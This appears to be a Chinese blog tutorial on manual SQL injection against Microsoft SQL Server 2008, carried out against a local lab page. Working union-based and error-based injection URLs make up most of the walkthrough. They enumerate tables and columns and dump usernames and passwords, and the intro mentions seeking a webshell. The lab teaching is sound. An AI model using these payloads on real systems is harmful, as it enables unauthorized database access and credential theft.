利用mssql2008复现mssql手工注入原理

MSSQL数据库

MSSQL数据库简介
MSSQL是指微软的SQL Server数据库服务器,它是一个数据库平台,提供数据库的从服务器到终端的完整的解决方案,其中数据库服务器部分,是一个数据库管理系统,用于建立、使用和维护数据库。属关系型数据库。

注入简介
MSSQL注入攻击是最为复杂的数据库攻击技术,由于该数据库功能十分强大,存储过程以及函数语句十分丰富,这些灵活的语句造就了新颖的攻击思路。
Microsoft SQL Sever 分为很多个版本,版本的不断的升级安全性也越来越高,对我们渗透过程中最喜欢的版本应该就是2008以前,在2008及其以后的版本数据库的权限已经不再是system,为了迎合新的版本我接下来的实验都在2008版本下面进行,同时也介绍以前可以利用的方法,相对于MySQL这个mssql显得重了许多,他众多的功能也给我们注入过程带来了便利,所以一般数据库为mssql支持多语句我们就考虑是不是应该直接拿下webshell。

对于mssql的一个注入点我们往往最关心的这个注入点的权限问题,是sa、db_owner还是public;其次是这个注点是否显错,注释语句是否可用,例如sql server中注释符“–”;还有就是注入点是什么类型的,是字符型注入,还是数字型注入。

默认库的介绍

master //用于记录所有SQL Server系统级别的信息,这些信息用于控制用户数据库和数据操作。
model //SQL Server为用户数据库提供的样板,新的用户数据库都以model数据库为基础
msdb //由 Enterprise Manager和Agent使用,记录着任务计划信息、事件处理信息、数据备份及恢复信息、警告及异常信息。
tempdb //它为临时表和其他临时工作提供了一个存储区。
在这里插入图片描述

这里我们经常要打交道的库也就是master,他储存了我们的所有数据库名等等,还有很多储存过程,所谓储存过程你可以把他理解成一个函数调用的过程。

储存过程是一个可编程的函数,它在数据库中创建并保存。它可以有SQL语句和一些特殊的控制结构组成。当希望在不同的应用程序或平台上执行相同的函数,或者封装特定功能时,存储过程是非常有用的。数据库中的存储过程可以看做是对编程中面向对象方法的模拟。它允许控制数据的访问方式。

在这里插入图片描述
我们以master库为例可以看到上面几个东西,其中视图表master.dbo.sysdatabases储存所有数据库名,其他数据库的视图则储存他本库的表名与列名。

在这里插入图片描述
仔细研究,发现mssql中视图表中的information_schema表与mysql中的information_schema库类似,只不过mssql中的information_schema只存储当前数据库中用户表的内容,不包含系统表,也不能单独查询information_schema表
在这里插入图片描述
在这里插入图片描述
每一个库的视图表都有syscolumns存储着所有的字段,可编程性储存着我们的函数。

基本信息
@@version // 数据库版本
user //获取当前数据库用户名
db_name() // 当前数据库名 其中db_name(N)可以来遍历其他数据库
;select user //查询是否支持多语句
host_name() //服务端主机名

注入实例:

http://192.168.64.130:801/less-1.asp?id=-1' union select 1,2,3 --

在这里插入图片描述

http://192.168.64.130:801/less-1.asp?id=-1' union select top 1 1,@@version,3 --

在这里插入图片描述

http://192.168.64.130:801/less-1.asp?id=-1' union select top 1 1,@@version,user --

在这里插入图片描述

http://192.168.64.130:801/less-1.asp?id=-1’ union select 1,db_name(),user –
在这里插入图片描述

http://192.168.64.130:801/less-1.asp?id=-1' union select 1,host_name(),@@servername --

在这里插入图片描述
爆表名:
http://192.168.64.130:801/less-1.asp?id=-1%27%20and%201=(select%20top%201%20name%20from%20sysobjects%20where%20xtype=%27u%27)–
第一张表
在这里插入图片描述
第二张表:
http://192.168.64.130:801/less-1.asp?id=-1’ and 1=(select top 1 name from sysobjects where xtype=‘u’ and name <>‘emails’)–
在这里插入图片描述
或者使用not in
http://192.168.64.130:801/less-1.asp?id=-1’ and 1=(select top 1 name from sysobjects where xtype=‘u’ and name not in (‘emails’))–
或者!=
http://192.168.64.130:801/less-1.asp?id=-1’ and 1=(select top 1 name from sysobjects where xtype=‘u’ and name !=‘emails’)–

爆出全部表名为:emails、uagents、users、referers、sysdiagrams

爆列名:
http://192.168.64.130:801/less-1.asp?id=-1’ and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name = ‘users’) and name<>‘id’);–
在这里插入图片描述
http://192.168.64.130:801/less-1.asp?id=-1’ and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name = ‘users’) and name not in (‘id’,‘username’ ))–
在这里插入图片描述
爆数据
http://192.168.64.130:801/less-1.asp?id=-1’ union select top 1 1,username,password from users –
在这里插入图片描述
http://192.168.64.130:801/less-1.asp?id=-1’ union select top 1 1,username,password from users where username <>‘Dumb’–
在这里插入图片描述
http://192.168.64.130:801/less-1.asp?id=-1’ union select top 1 1,username,password from users where username not in (‘Dumb’,‘Angelina’)–

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值